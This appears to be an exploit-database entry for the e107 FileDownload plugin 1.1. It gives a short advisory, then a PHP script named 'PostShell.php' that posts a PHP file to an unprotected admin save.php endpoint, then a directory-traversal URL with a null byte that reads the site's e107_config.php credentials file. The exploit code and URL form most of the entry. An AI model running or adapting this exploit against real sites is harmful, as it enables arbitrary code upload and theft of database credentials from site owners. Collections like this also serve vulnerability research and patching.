e107 Filedownload Plugin – Arbitrary File Upload / Remote File Disclosure

  • 作者: Sammy FORGIT
    日期: 2012-06-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37434/
  • source: https://www.securityfocus.com/bid/54098/info
    
    The FileDownload Plugin for e107 is prone to an arbitrary file-upload vulnerability and a remote file-disclosure vulnerability because the application fails to adequately sanitize user-supplied input.
    
    An attacker can exploit these issues to upload a file and view local files in the context of the web server process, which may aid in further attacks.
    
    FileDownload 1.1 is vulnerable; other versions may also be affected. 
    
    PostShell.php
    <?php
    
    $ch = curl_init("http://www.example.com/e107/e107_plugins/filedownload/filedownload/file_info/admin/save.php");
    curl_setopt($ch, CURLOPT_POST, true); 
    curl_setopt($ch, CURLOPT_POSTFIELDS,
     array('filename'=>'lo.php',
    'accesses'=>'<?php phpinfo(); ?>'));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $postResult = curl_exec($ch);
    curl_close($ch);
     
    print "$postResult";
    
    ?>
    
    http://www.example.com/e107/e107_plugins/filedownload/filedownload/file_info/admin/edit.php?file=../../../../../e107_config.php%00